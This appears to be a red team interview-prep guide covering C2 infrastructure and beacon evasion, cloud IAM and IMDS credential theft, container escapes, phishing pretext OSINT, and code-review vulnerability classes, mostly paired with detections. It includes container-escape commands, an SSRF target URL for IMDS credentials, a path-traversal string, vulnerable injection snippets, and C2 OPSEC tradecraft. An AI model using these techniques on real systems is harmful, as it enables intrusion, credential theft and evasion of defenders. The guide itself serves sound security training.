Phases 08–10: C2 architecture, beacon OPSEC, redirectors, JA3/JA4, cloud IAM attack paths, IMDS, container escape, email authentication, and OSINT-based initial access.
C2 Infrastructure (Phase 08)
Q: Walk me through a production C2 architecture. What is the purpose of each component?
Answer outline:
Operator workstation → Team server → Redirector(s) → Internet → Implant (beacon) on target
- Team server: the C2 platform (e.g., Cobalt Strike, Mythic, Havoc). It stores beacon configs, manages sessions, receives check-in traffic, and allows operators to issue tasks. Lives on a hardened, non-attributable server. Never exposed directly to the target.
- Redirector: a lightweight proxy (Apache/Nginx with
mod_rewrite, an AWS API Gateway, a CDN endpoint) between the internet and the team server. Its job: forward traffic matching the beacon's malleable profile URI to the team server, and serve legitimate-looking 404s or decoy pages to everything else. Protects the team server's IP from being burned by a proactive block. - Implant (beacon): the agent running on the target. Check-in on a configured interval with jitter, over HTTPS to the redirector. Executes tasks received from the team server.
The traffic chain: implant → redirector domain (looks like CDN/legitimate domain) → redirector → team server. If the client's security team burns the redirector domain, the team server IP is
not revealed. The redirector is disposable; the team server is protected.
Q: What is a JA3/JA4 fingerprint and how does it detect C2 beacons?
Answer outline:
JA3 is an MD5 of a TLS ClientHello's key fields in a specific order:
SSLVersion, Ciphers, Extensions, EllipticCurves, EllipticCurvePointFormats. Two TLS clients
that use the same TLS library version and configuration produce the same JA3 hash. Cobalt Strike's
default configuration produces a well-known JA3 that is in public detection databases.
JA4 (newer) captures more fields and is more granular, including cipher order and extension details. It is case-sensitive and order-aware.
Detection: a network sensor (Zeek, Suricata) records the JA3 hash for every TLS ClientHello. A rule matching against a known-bad JA3 database fires. A beacon with a default TLS configuration will match.
Mitigation: changing the cipher suite order or TLS version in the C2 malleable profile changes the JA3 hash. But changing cipher suites is observable via a JA4 rule update; the behavioral pattern (periodic connection from an unusual process at a regular interval) remains. JA3 sits at the "network artifact" layer of Bianco's pyramid — not the most durable detection, but easy to implement and effective against unmodified default tooling.
Q: How do you detect a C2 beacon in NetFlow data without endpoint telemetry?
Answer outline:
Beacon detection in NetFlow is a signal-processing problem on inter-connection timing:
- Beacon interval extraction: for each source IP + destination IP pair, compute the inter-connection timestamps. A beacon at 60-second sleep produces inter-connection gaps near 60s.
- Jitter coefficient (CV): compute the coefficient of variation (stddev/mean) of the gaps. A well-configured beacon with 20% jitter has CV ≈ 0.2. A poorly configured beacon with 0% jitter has CV ≈ 0 (perfectly regular).
- Process anomaly: correlate the source with EDR process data (if available). A periodic
connection from
svchost.exeorexplorer.exeto an external IP that is not a CDN or Windows Update server is anomalous. - Long-connection detection (Zeek): some beacons maintain a long-lived HTTP connection and
poll; Zeek's
conn.logduration field flags connections longer than the normal session duration for that service.
A SIEM rule: connections from the internal network to a new external IP, at a coefficient of variation below 0.1, for more than 5 consecutive observations, that are not from a known-good process → beacon alert.
Cloud & Container (Phase 09)
Q: Explain the AWS IAM policy evaluation order. Why does "deny always wins" matter for privilege escalation?
Answer outline:
AWS evaluates IAM policies in this order when a principal makes an API call:
- Explicit deny (any policy type) — if any policy has an explicit
Denyfor this action, the request is denied immediately, regardless of anyAllow. - SCPs (Service Control Policies) — organization-level deny; if the SCP does not allow the action, the request is denied even if the identity policy allows it.
- Resource-based policies — if the resource has a policy that allows the action for this principal, it is allowed (even without an identity policy, for cross-account).
- Identity-based policies — if none of the above denies and the identity policy allows the action, it is allowed.
- Implicit deny — if no
Allowmatches, the request is denied by default.
Why this matters for privilege escalation: the AWS IAM privilege escalation paths
(documented by Rhino Security Labs) rely on finding a principal that has iam:PassRole plus
the ability to create a Lambda/EC2/ECS resource. The attacker passes a high-privileged role
to the resource, then triggers the resource to execute — giving them the high-privileged role's
permissions without ever having an explicit Allow on the sensitive action directly.
The defense: SCPs that deny iam:PassRole to non-admin principals; and detection: CloudTrail
logs all iam:PassRole calls. A non-admin principal calling iam:PassRole with a
high-privileged role is immediately suspicious.
Q: What is the AWS IMDS and why is IMDSv1 dangerous?
Answer outline:
The Instance Metadata Service (IMDS) is an HTTP endpoint available from within an EC2
instance at http://169.254.169.254/. It provides instance metadata including the IAM role
credentials assigned to the instance (/latest/meta-data/iam/security-credentials/role-name).
IMDSv1 is accessible without any token or authentication — a simple GET request from inside
the instance returns the credentials. If a web application running on the EC2 instance is
vulnerable to SSRF (Server-Side Request Forgery), an attacker can route a GET request to
http://169.254.169.254/latest/meta-data/iam/security-credentials/ and receive valid,
time-limited AWS credentials for the instance's role.
IMDSv2 requires a PUT request to first obtain a session token (X-aws-ec2-metadata-token),
which must be included in subsequent GET requests. SSRF via HTTP typically cannot make PUT
requests (browser CSRF constraints), making IMDSv2 resistant to SSRF-based credential theft.
Detection: CloudTrail does not log IMDS requests (it is not an API call). The detection is
at the application layer: the web application's access log shows a request with a url parameter
or redirect pointing to 169.254.169.254; or a WAF rule blocking SSRF to the IMDS range.
Defense: enforce IMDSv2 via EC2 instance metadata options (HttpTokens=required).
Q: Name three container escape paths and the detection for each.
Answer outline:
-
Privileged container (
--privileged). A privileged container receives all Linux capabilities includingCAP_SYS_ADMIN. From inside, mount the host filesystem:mount /dev/sda1 /mnt→ chroot → full host access. Detection: Falco rule:spawned_process and container.privileged=true→ alert on any process spawned in a privileged container. Or runtime policy: deny privileged container creation in the admission controller (OPA Gatekeeper, Kyverno). -
Docker socket mounted (
/var/run/docker.sock). If the container has the Docker socket mounted (common in CI/CD runners and monitoring containers), the container can rundocker run -v /:/host ubuntu chroot /hostto get a root shell on the host. Detection: runtime check — scan container specs for/var/run/docker.sockvolume mount. Falco:fd.name=/var/run/docker.sock and evt.type=open. -
cap_sys_admincapability. WithCAP_SYS_ADMIN, the container can create a user namespace, mount filesystems, and usecgroups_v1release agent escape. Detection: Falco rule keyed oncap_sys_adminin container +mountsyscall. Kubernetes admission webhook: reject pods withsecurityContext.capabilities.add: SYS_ADMIN.
Social Engineering & Initial Access (Phase 10)
Q: Explain SPF, DKIM, and DMARC. What happens when all three fail?
Answer outline:
SPF (Sender Policy Framework): a DNS TXT record at domain.com listing authorized sending
IP addresses/ranges. The receiving MTA checks whether the sending server's IP is in the SPF
record. A ~all (soft fail) or -all (hard fail) controls what happens on mismatch.
SPF checks the MAIL FROM envelope address, not the From: header.
DKIM (DomainKeys Identified Mail): the sending mail server adds a cryptographic signature
(RSA or Ed25519) over specified headers and body. The public key is published in DNS at
selector._domainkey.domain.com. The receiving MTA verifies the signature. DKIM proves the
message was authorized by the domain's key holder and was not modified in transit.
DMARC (Domain-based Message Authentication, Reporting, and Conformance): a DNS policy at
_dmarc.domain.com that says: (a) what to do when SPF and/or DKIM fail (p=none|quarantine| reject), (b) what alignment is required (strict: the From: domain must exactly match the
SPF/DKIM domain), (c) where to send aggregate reports (rua=mailto:...).
When all three fail: the receiving MTA applies the DMARC policy. If p=reject, the email
is rejected. If p=quarantine, it goes to spam. If p=none (monitoring mode), it is delivered
with a warning. A phishing email spoofing a domain with p=none; is delivered — which is why
many organizations stay in monitoring mode indefinitely and are phishable via their own domain.
Phish risk score implications: SPF fail + DKIM fail + DMARC p=none = deliverable spoofed
email with no enforcement. The Lab 01 phish-risk scorer returns a high score for this combination.
Q: You need to OSINT a target org for a social engineering pretext. Walk me through your methodology.
Answer outline:
Step 1 — Organizational structure. LinkedIn: org chart, headcount, key roles (who is the CISO, who is in IT, who manages finance). Job postings: what technology stack they are deploying (a "Senior Salesforce Admin" posting means Salesforce is in scope for vendor impersonation).
Step 2 — Email pattern. GitHub commit emails, bug tracker posts, conference talk bios often
expose individual email addresses. From 3–5 examples, infer the pattern (first.last@domain.com,
flast@domain.com). Validate against the domain's MX records.
Step 3 — Infrastructure. Certificate Transparency logs (crt.sh) for subdomains. Shodan for
exposed services. staging.domain.com, admin.domain.com, vpn.domain.com naming patterns
expose infrastructure worth targeting in a pretexting call.
Step 4 — Technology stack. Job postings, GitHub, BuiltWith, Wappalyzer. Knowing they use Okta, Office 365, and Workday tells you what vendor impersonation angles (Microsoft, Okta) and what phishing lure formats (Okta sign-in page, SharePoint notification, Workday update) would be most plausible.
Step 5 — Recent events. Press releases, LinkedIn posts about expansions/acquisitions, SEC filings. A merger creates a "new IT policy requiring credential verification" pretext. A public breach creates a "security team reaching out to verify your account" pretext.
Detection by the defender: email gateways log SPF/DKIM/DMARC results (Lab 01 analyzes these).
Security awareness training programs monitor reported phishing. DNS monitoring for lookalike
domains (meridianfreight-security.com vs meridianfreight.com).
Interview Q&A — Reporting, Purple Team & Consulting Leadership
Phases 11–12: Reverse engineering, vulnerability discovery, engagement reporting, purple team methodology, executive communication, detection metrics, and consulting behaviors.
Reverse Engineering (Phase 11)
Q: Walk me through how you triage an unknown binary in the first 10 minutes.
Answer outline:
Minute 0–2 — Static headers. file (magic bytes, architecture, type). strings / FLOSS
(extract printable strings; look for URLs, IPs, commands, base64-like strings). dumpbin /headers
or pefile — machine type, subsystem, TimeDateStamp, import table, PDB path.
Minute 2–4 — Imphash and entropy. Compute imphash (family classification). Compute per-section
Shannon entropy: .text > 7.0 suggests packed/encrypted. DIE (Detect-It-Easy) for packer
identification.
Minute 4–7 — Import table analysis. What DLLs and functions? A binary that only imports
kernel32!GetProcAddress and kernel32!LoadLibraryA but nothing else is resolving all other
imports dynamically (a packer or loader pattern). A binary importing ntdll!NtAllocateVirtualMemory
ntdll!NtWriteVirtualMemory+ntdll!NtCreateThreadExis an injector.
Minute 7–10 — Export table and known-bad matches. Check exports for reflective-loader names. Check imphash against known-bad databases. Check SHA256 against VirusTotal (if authorized and internet-connected). Look for the PDB path to surface build environment details.
Output: a preliminary classification (loader, injector, C2 beacon, credential stealer, dropper) + OPSEC indicator flags + recommended next step (dynamic analysis, deeper static RE, or escalate to malware analysis team).
Q: Name three source code vulnerability classes and how you detect each in a code review.
Answer outline:
1. SQL Injection (CWE-89). Pattern: user-controlled data concatenated into a SQL string.
# VULNERABLE:
query = "SELECT * FROM users WHERE name = '" + user_input + "'"
cursor.execute(query)
# SAFE: parameterized query
cursor.execute("SELECT * FROM users WHERE name = ?", (user_input,))
Detection: grep for string concatenation patterns adjacent to SQL keywords (SELECT, INSERT,
UPDATE, DELETE, WHERE) + variable that traces to a request parameter. SAST tools
(semgrep, bandit, CodeQL) flag this automatically.
2. Command Injection (CWE-78). Pattern: user-controlled data in a shell command string.
# VULNERABLE:
os.system("ping " + user_input)
subprocess.run(user_input, shell=True)
# SAFE:
subprocess.run(["ping", user_input], shell=False)
Detection: grep for os.system, subprocess.run with shell=True, exec(, eval( where
the argument is not a constant. Trace data flow from request parameter to the dangerous sink.
3. Path Traversal (CWE-22). Pattern: user-controlled path component not sanitized before filesystem access.
# VULNERABLE:
filename = request.get("file")
with open("/data/" + filename) as f: # "../../../etc/passwd" works
return f.read()
# SAFE:
import os
safe_path = os.path.realpath(os.path.join("/data", filename))
if not safe_path.startswith("/data/"):
raise ValueError("Invalid path")
Detection: user-controlled variable in open(), os.path.join, Path() calls. Check for
realpath + prefix validation as the fix pattern. semgrep has rules for this.
Reporting (Phase 12)
Q: What makes a red team finding complete? Walk me through the required fields.
Answer outline:
A complete finding contains seven fields — without any one of them, the finding fails to deliver actionable value to the client:
-
Title and severity. Clear, one-line description. Severity (Critical/High/Medium/Low) with CVSS score or business-impact justification.
-
ATT&CK mapping. The specific technique ID and sub-technique (e.g., T1558.003 for Kerberoasting). This is the universal reference that a blue team can use to look up the technique, its data sources, and existing detections.
-
Precondition. What must be true for this finding to be exploitable? An unquoted service path is only exploitable if a writable intermediate directory exists. State the precondition explicitly — it drives both severity and remediation priority.
-
Evidence and narrative. What was observed, when, and how. Sanitized (no real credentials, no PII). Screenshots or log excerpts. Observation separated from inference.
-
Detection opportunity. The specific log source, event ID, and detection rule that would have caught this action. Ideally a Sigma rule or auditd rule that the client's team can deploy immediately. This is the item that makes the finding last beyond the engagement.
-
Remediation. Specific, actionable steps: quote the service path, revoke the privilege, enforce IMDSv2, patch the DACL. Include the timeline recommendation (immediate vs. next patch cycle) and the owner (IT, Cloud, AppSec).
-
Residual risk. After the recommended remediation is applied, what risk remains? This prevents over-confidence: even after quoting the service path, the underlying privilege model that allowed a service account to reach that path may still be misconfigured.
Q: Explain precision, recall, and F1 as applied to security detections. What does low recall mean for a detection rule?
Answer outline:
In a security detection context:
- True Positive (TP): detection rule fires on a real attack event.
- False Positive (FP): detection rule fires on a benign event (noise).
- True Negative (TN): detection rule correctly does not fire on a benign event.
- False Negative (FN): detection rule does not fire on a real attack event (missed detection).
Precision = TP / (TP + FP) — of all the alerts this rule generates, what fraction are real? Low precision = noisy rule that generates many false alerts → analyst fatigue → alerts ignored.
Recall = TP / (TP + FN) — of all real attack events, what fraction does this rule catch? Low recall = the rule misses attacks. Low recall is a security gap: the adversary can execute the technique and the detection does not fire.
F1 = harmonic mean of precision and recall = 2 × (P × R) / (P + R). A balanced measure.
Purple team application: in a purple team session, the blue team runs the detection rule while the red team executes the technique. TP = rule fires when red team executes. FN = red team executes but rule does not fire. FP = rule fires during normal activity control period.
A detection rule with recall = 0.2 means the red team can execute the technique 80% of the time without alerting. That is the gap the purple team session identifies — and the finding the Lab 02 coverage scorer reports as the top gap to close.
Consulting Behaviors
Q: How do you explain a critical technical finding to a non-technical executive?
Answer outline:
Step 1 — Lead with business impact, not technical mechanics. "An attacker who gains access to any of your employee laptops could, in under 30 minutes, obtain administrative access to your domain controller, giving them full control over all 5,000 Active Directory accounts" — not "we demonstrated Kerberoasting against a service account with an SPN."
Step 2 — Quantify risk in business terms. Map the finding to a regulatory or financial consequence: "Access to the domain controller would allow an attacker to access the payment processing systems in scope for PCI DSS, triggering a potential breach notification requirement under [applicable regulation]."
Step 3 — State the fix in plain language. "The service account's password needs to be rotated to a 25-character random password, and the account should be configured to use a stronger encryption algorithm." Avoid jargon.
Step 4 — State the timeline. "We recommend this be addressed within 7 days — it is a Critical finding because the precondition (low-privileged domain user) applies to every employee."
Step 5 — Invite questions, don't lecture. "Does this raise questions about other systems in your environment? We can scope a follow-on exercise if needed."
The goal: the executive leaves with a clear picture of what is broken, what it means for the business, what to do, and how urgent it is — without needing to understand Kerberos.
Q: Your purple team session shows that 60% of the ATT&CK techniques you exercised generated no alert. How do you present this to the client and what do you recommend?
Answer outline:
Frame it as a measurement, not a failure. "We tested 25 techniques. 10 generated alerts, 5 generated partial alerts, and 10 generated no alert. This gives us a detection recall rate of 40% for the tested technique set. This is a baseline — the engagement identified which gaps to close first."
Prioritize by risk. The 10 techniques that generated no alert are not equal. Run them through
the Pyramid of Pain and the client's threat model: techniques used by financially-motivated actors
targeting their industry get priority. The Lab 02 coverage scorer's top_gaps output is the
prioritization input.
Translate each gap to a detection recommendation. For each blind technique, provide:
- The missing data source (e.g., Sysmon EID 8 for remote thread injection).
- The Sigma/auditd rule to deploy.
- The expected false-positive rate.
- An estimate of engineering effort.
Set up a follow-on purple team. "We recommend a follow-on exercise in 90 days after these detections are deployed to measure improvement. The goal is to move recall from 40% to above 80% for the priority technique set."
Benchmark against industry. "A 40% detection recall for this technique set is consistent with organizations at a similar maturity level. The gap is addressable in one remediation cycle with the right prioritization."
System Design — Red Team Edition
Operation Cedar Lattice — architecture walkthroughs. This section presents five design problems that surface in senior and principal-level red team interviews. Each walkthrough follows the whiteboard format: requirements → constraints → high-level architecture → component deep-dive → tradeoffs → detection-forward wrap-up.
These are design discussions, not implementation blueprints. The goal is to demonstrate architectural thinking, tradeoff awareness, and the ability to reason about a system from both the attacker and defender perspective simultaneously.
Design Problems
| File | Problem | Interview context |
|---|---|---|
| 01-c2-infrastructure.md | Design a scalable, resilient C2 infrastructure for a 90-day red team engagement | Phase 08 |
| 02-ad-attack-path-solver.md | Design an Active Directory attack path discovery and prioritization system | Phase 05 |
| 03-cloud-iam-audit.md | Design a cloud IAM privilege escalation audit system for multi-cloud environments | Phase 09 |
| 04-engagement-planning.md | Design an engagement planning and artifact management platform for a red team consulting firm | Phases 00–01 |
| 05-purple-team-platform.md | Design a purple team exercise tracking and detection-gap reporting platform | Phase 12 |
Whiteboard format
Each design document follows this structure:
- Problem statement and requirements — functional requirements (what must the system do) and non-functional requirements (latency, scale, availability, OPSEC constraints)
- Constraints and assumptions — what is in scope, what is explicitly out of scope
- High-level architecture — ASCII diagram + component list
- Component deep-dives — one section per major component; data model, API, key decisions
- Tradeoffs — what was chosen and why; what was sacrificed
- Detection-forward perspective — how would a defender detect each architectural component; what does the design do to reduce detection surface; what is the residual detection opportunity
How to practice
- Read the problem statement only. Close the rest of the document. Spend 5 minutes sketching your architecture on paper.
- Compare. Open the document and compare your design choices to the walkthrough. Note differences — not to judge which is correct, but to understand the tradeoffs.
- Narrate out loud. The interview is oral + whiteboard. Practice saying your design choices aloud: "I would choose X because Y, and the tradeoff is Z."
- Time yourself. A system design interview is 45–60 minutes. You should reach the deep-dive section within 10–15 minutes of starting.
- Ask clarifying questions. In the real interview, ask the interviewers the same clarifying questions the document poses in the Constraints section — this signals maturity.
System Design: C2 Infrastructure for a 90-Day Engagement
1. Problem Statement
Design a Command and Control (C2) infrastructure for a 90-day adversary emulation engagement against a large enterprise client (Meridian Freight International, ~5,000 endpoints). The infrastructure must support 3–5 red team operators working concurrently, maintain OPSEC for the duration of the engagement, and be teardown-able cleanly at engagement end.
Functional requirements:
- Operators can issue tasks to beacons from a shared team server
- Beacons communicate over HTTPS; traffic is indistinguishable from legitimate traffic
- Infrastructure is resilient: losing a redirector does not stop the engagement
- Multiple beacon profiles (long-haul persistence vs. short-haul interactive sessions)
- Out-of-band access path if primary C2 is burned
- All operator actions are logged for the engagement report
Non-functional requirements:
- Availability: redirectors must survive the engagement duration without manual maintenance
- Burn resistance: burning one component (redirector domain) does not expose another (team server IP)
- Attribution resistance: infrastructure is not linked to the consulting firm's corporate IP space
- Teardown: all infrastructure is removed within 24 hours of engagement end
- Audit trail: all operator commands logged and immutable (for report and deconfliction)
2. Constraints and Assumptions
In scope:
- Infrastructure architecture and component design
- OPSEC requirements per component
- Beacon profile design
- Operator workflow
Out of scope:
- Selection of specific C2 framework (Cobalt Strike, Mythic, Havoc — not named here)
- Specific exploit code or implant implementation
- Network protocol cryptographic implementation details
Assumptions:
- The engagement is authorized with a signed ROE
- Infrastructure is spun up on cloud providers using pre-purchased non-attributable accounts
- The team server runs on a hardened Linux instance
- Beacons are pre-compiled before the engagement with the correct redirector domains embedded
3. High-Level Architecture
┌──────────────────────────────────────────────────────────────────────────┐
│ Operator workstations (3–5 operators, VPN to team server) │
└───────────────────────┬──────────────────────────────────────────────────┘
│ Operator VPN (WireGuard / OpenVPN)
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ Team Server (hardened Linux VM, non-attributable cloud account) │
│ - C2 framework backend │
│ - Operator log database (append-only) │
│ - Firewall: only VPN IPs and redirector IPs allowed │
└──────────┬────────────────────────────────────────┬──────────────────────┘
│ HTTPS (mutual TLS, redirector → team) │
▼ ▼
┌────────────────────┐ ┌────────────────────────────────┐
│ Primary Redirector│ │ Backup Redirector │
│ (CDN-fronted) │ │ (different provider/region) │
│ Nginx mod_rewrite │ │ Nginx mod_rewrite │
│ Domain: cdn-*.com │ │ Domain: update-*.com │
└─────────┬──────────┘ └────────────┬───────────────────┘
│ HTTPS (client → redirector) │
│ │
▼ ▼
┌──────────────────────────────────────────────────────────────────────────┐
│ Target environment (Meridian Freight International) │
│ Long-haul beacons (60s sleep, 20% jitter) + short-haul (5s, 0.1 jitter)│
└──────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────┐
│ OOB (Out-of-Band) Channel │
│ DNS beacon, low-and-slow │
│ Domain: *[.]ntp-sync.net │
└─────────────────────────────────┘
Component list:
- Operator VPN gateway — operators connect to the team server exclusively over VPN
- Team server — hardened Linux VM, firewall-restricted to VPN + redirector IPs only
- Primary redirector — CDN-fronted Nginx; rewrites C2 URIs, decoys for non-matching requests
- Backup redirector — separate cloud provider; activated if primary domain is burned
- OOB (Out-of-Band) channel — DNS-based C2 beacon for use if HTTPS C2 is entirely burned; very low bandwidth, persistence-only
- Operator log store — append-only log of all operator commands, timestamps, and targets
4. Component Deep-Dives
4.1 Redirector Design
Purpose: Sit between the target and the team server. The target's defender sees only the redirector's domain and IP. If the redirector is burned (domain blocked, IP blacklisted), the team server is not revealed.
Implementation:
- Nginx with
mod_rewrite(or Apache.htaccess) proxy_passonly for requests matching the C2 URI pattern (e.g.,/api/v2/status)- All other requests: return HTTP 200 with decoy HTML that matches the masquerade domain (if masquerading as a CDN asset server, return a plausible 200 with static content)
Firewall rules on the redirector:
- Inbound: allow 443 from any (the target's beacons connect here)
- Outbound to team server: allow only on team server port, only to team server IP, only from the redirector IP
- Deny all other outbound
Domain selection: use aged domains (registered 6+ months ago), with valid TLS certificates (Let's Encrypt), and with realistic DNS history. Never use a domain registered the day of the engagement.
CDN fronting (conceptual): some CDN providers allow a request to arrive at a CDN edge node addressed to a legitimate CDN domain, but be routed via a Host header override to the actual backend (the redirector). This obscures the true destination IP behind the CDN provider's IP space. Note: major CDN providers have increasingly disabled this technique; current applicability is scenario-specific.
4.2 Beacon Profile Design
Two profile tiers:
| Profile | Sleep | Jitter | Purpose | Detection risk |
|---|---|---|---|---|
| Long-haul | 60s | 20% | Persistent access, low-priority tasking | Low — periodic, low-volume |
| Short-haul | 5s | 10% | Active operator session, interactive tasks | Medium — higher frequency |
URI paths: match the masquerade domain's expected traffic. If masquerading as an ad network:
/pixel.gif, /track.js, /impression. These URIs appear in the malleable profile.
User-agent: match a current, common browser on the target's OS baseline. Do not use a pre-2022 browser string. Do not use the C2 framework's default UA.
Named pipe (for local comms, if used): not a default name. Generate a name that matches
the naming convention of installed software in the target environment (e.g., if the target runs
Sophos, use a pipe name that matches Sophos's known named pipe pattern to blend in).
4.3 Team Server Hardening
- Non-attributable cloud account (not linked to the consulting firm's corporate accounts)
- Firewall: inbound connections allowed only from VPN gateway IP and known redirector IPs
- All ports not needed are closed
- SSH: key-only, no password auth, non-standard port
- Operator access over WireGuard VPN (not SSH directly)
- Operator log database: PostgreSQL with append-only table; operators cannot delete log entries; entries are backed up hourly to an encrypted S3 bucket in a separate account
4.4 OOB Channel
When to use: if the primary HTTPS C2 is fully burned (both redirectors blocked, all domains blacklisted), the OOB channel provides a fallback path.
DNS beaconing (concept): the beacon encodes task results and check-ins in DNS TXT query
subdomains (aGVsbG8=.task.ntp-sync.net → base64-encoded data). A custom DNS server on the
attacker side receives these queries and decodes them. Very low bandwidth (dozens of bytes per
query), but survives most network controls since DNS is rarely blocked outbound.
OPSEC: the DNS server for the OOB domain must not be the same IP as the team server. Use a separate VM. The OOB channel is used only when the primary channel is confirmed burned — it is not activated routinely.
4.5 Operator Log Store
Requirement: immutable audit trail for deconfliction and reporting.
Design:
- All operator commands flow through a logging proxy before execution:
log → execute - Log record:
{operator_id, timestamp_utc, target_host, command, arguments, session_id} - Append-only table (PostgreSQL:
INSERTonly, noUPDATEorDELETEpermissions for any operator role) - Hourly encrypted backup to isolated S3 bucket
- Log retention: through engagement end + 30 days (per engagement agreement)
Use in deconfliction: when the client SOC calls during an engagement, the operator pulls the log for the flagged timestamp range and provides it to deconflict.
5. Tradeoffs
CDN fronting vs. direct redirector:
- CDN fronting obscures the redirector IP behind a CDN provider's IP space → harder to burn.
- CDN fronting is increasingly detected by monitoring the
HostvsSNImismatch in TLS traffic. - Decision: use CDN fronting for the long-haul beacon profile (lower traffic, harder to notice SNI mismatch at scale); use direct redirector for short-haul.
Single team server vs. multiple:
- Multiple team servers increase complexity; each needs VPN, firewall configuration, and log sync.
- Single team server is simpler and more auditable.
- Decision: single team server for a 90-day engagement with 3–5 operators; acceptable single point of failure since the team server's IP is not exposed to the target.
Real-time operator logging vs. async:
- Async logging could miss events if the team server crashes.
- Synchronous logging adds minimal latency for a red team tool.
- Decision: synchronous append before command execution.
6. Detection-Forward Perspective
What a defender can see:
| Component | Detection opportunity |
|---|---|
| Redirector | JA3/JA4 fingerprint of beacon TLS; periodic connection timing from unusual process |
| DNS OOB | High-volume DNS queries to a new domain; low-entropy subdomain labels (base64 encoded data) |
| Beacon HTTP | Malleable profile URI appears in proxy logs; user-agent anomaly if UA not updated |
| Named pipe | Sysmon EID 17 (PipeCreate) and EID 18 (PipeConnect) if pipe name is unusual |
| Operator actions | EDR sees child process creation, LDAP queries, credential access — behavioral detections at TTP layer |
Residual detection opportunity (always present):
- ETW-TI fires on memory operations regardless of beacon OPSEC
- Sysmon EID 3 (network connection) from an unusual process is always detectable
- Beacon timing regularity (low CV) is always measurable in NetFlow data
This is the core pedagogical point: C2 OPSEC reduces detection probability at the bottom of the Pyramid of Pain (hash, IP, domain, artifact), but TTP-level detections survive any infrastructure rotation. The engagement tests whether the client has built TTP-level detections, not just hash/IP blocklists.
System Design: Active Directory Attack Path Solver
1. Problem Statement
Design a system that ingests an Active Directory environment snapshot and returns a prioritized list of attack paths from a given starting principal to a target objective (e.g., Domain Admin).
Functional requirements:
- Ingest AD objects: users, computers, groups, GPOs, and their relationships (group membership, ACLs, delegation settings, SPN registrations)
- Model relationships as a directed graph where edges are permissions or exploitation paths
- Find shortest/most-dangerous paths from a start node (e.g.,
JSMITH@MERIDIAN.LOCAL) to a target node (e.g.,Domain Admins) - Prioritize by detection visibility (low-noise paths preferred by the attacker)
- Return each path step with: source, edge type (permission), target, ATT&CK technique ID, detection opportunity
- Support "what if" analysis: "if we disable Kerberos RC4 for all service accounts, how many paths are removed?"
Non-functional requirements:
- Scale: up to 100,000 AD objects, 1,000,000 edges
- Query latency: under 5 seconds for a full path search
- Offline: operates on a snapshot; does not need live AD connectivity
2. Constraints
In scope:
- Graph model and edge taxonomy
- Path finding algorithm choice and complexity tradeoff
- Detection visibility scoring
- Data ingestion pipeline
- Query API design
Out of scope:
- Collection module (how the snapshot is gathered from the target AD)
- Authentication to the target domain
- Automated exploitation
3. High-Level Architecture
┌──────────────────────┐
│ AD Snapshot Input │
│ (BloodHound JSON / │
│ LDAP dump / CSV) │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Ingestion Pipeline │
│ - Parse objects │
│ - Normalize edge │
│ types │
│ - Score each edge │
│ (detection cost) │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Graph Store │
│ (in-memory or │
│ embedded graph DB) │
│ Nodes: principals │
│ Edges: permissions │
└──────────┬───────────┘
│
┌──────┴────────┐
│ │
▼ ▼
┌──────────────┐ ┌───────────────────┐
│ Path Finder │ │ What-If Analyzer │
│ (Dijkstra / │ │ (remove edge set, │
│ BFS) │ │ recount paths) │
└──────┬───────┘ └────────┬──────────┘
│ │
└─────────┬─────────┘
▼
┌──────────────────────┐
│ Report Generator │
│ - Path table │
│ - Detection mapping │
│ - ATT&CK IDs │
└──────────────────────┘
4. Component Deep-Dives
4.1 Graph Model
Nodes: principals (users, computers, groups, GPOs, OUs). Minimal model:
{
"id": "JSMITH@MERIDIAN.LOCAL",
"type": "user", # user | computer | group | gpo | ou
"properties": {
"enabled": True,
"spn_count": 2,
"kerberos_pre_auth": True,
"admin_count": False,
}
}
Edges: permission relationships. Each edge has a type, a weight (detection cost), and an ATT&CK mapping:
| Edge type | Description | ATT&CK | Detection cost (lower = harder to detect) |
|---|---|---|---|
MemberOf | group membership | — | 0 (no active action needed, passive) |
GenericAll | full control over object | T1222 | 2 (DACL write logged) |
GenericWrite | write to object attributes | T1222 | 2 |
WriteDacl | write DACL on object | T1222 | 3 |
AllExtendedRights | includes Replication-Get-Changes-All (DCSync path) | T1003.006 | 4 (Security EID 4662) |
HasSPN | has an SPN registered | T1558.003 | 1 (TGS request, RC4 detection) |
AllowedToDelegate | constrained delegation to target SPN | T1134.001 | 3 |
TrustedForDelegation | unconstrained delegation | T1134.001 | 3 |
AdminTo | local admin on computer | T1021 | 2 (Sysmon EID 1 from lateral move) |
CanRDP | RDP access to computer | T1021.001 | 3 (Security EID 4624 type 10) |
ForceChangePassword | can reset user's password | T1098 | 2 (Security EID 4723) |
GPLink | GPO linked to OU (for GPO abuse) | T1484 | 4 (Security EID 5136) |
AllowedToAct | RBCD: allowed to act on behalf of | T1134 | 3 |
SIDHistoryOf | SID history injection risk | T1134.005 | 4 |
Graph cost function: edge weight = detection cost. Dijkstra finds the path with minimum total detection cost → the path least likely to be detected.
4.2 Path Finder
Algorithm: Dijkstra's shortest path on the detection-cost-weighted graph.
source= start principaltarget= Domain Admins group (or any specified target node)weight= edge detection cost- Output: ordered list of edges forming the minimum-cost path
Why Dijkstra over BFS?
- BFS finds the path with fewest hops, not the stealthiest path. A 3-hop path through a DCSync edge (cost 4) is worse OPSEC than a 5-hop path through only low-cost edges.
- Dijkstra minimizes total cost.
Complexity: O((V + E) log V) with a binary heap. At 100,000 nodes and 1,000,000 edges, this is acceptable for interactive query latency.
Multiple paths: run K-shortest-paths (Yen's algorithm) to return the top-K paths for the analyst. The first is the stealthiest; subsequent paths are alternatives if the first is blocked.
4.3 Detection Visibility Scoring
Each edge gets a detection cost based on:
- Event volume: how many events does traversing this edge generate? (DCSync = 1 high-value event with EID 4662; MemberOf = 0 events)
- Event specificity: is the event type exclusively associated with attacks, or does it have high legitimate overlap? (EID 4769 RC4 TGS request = high attack specificity; EID 4624 logon = high benign overlap)
- Sensor coverage: is the relevant sensor deployed in the target environment? (If EID 4662 is not in the SIEM scope, DCSync has effective cost = 0)
The system accepts a sensor_inventory parameter that marks which detections are active. This
allows "red team OPSEC mode" (model only detections that exist in the target) vs. "blue team
audit mode" (model all possible detections).
4.4 What-If Analyzer
Use case: "If we disable Kerberos RC4 encryption for all service accounts, how many attack paths are removed?"
Implementation:
- Filter edges of type
HasSPNwherekerberos_rc4_allowed = True - Remove those edges from the graph
- Re-run path finder for all possible start→target pairs
- Report: paths removed count, paths remaining count, new shortest path (if any)
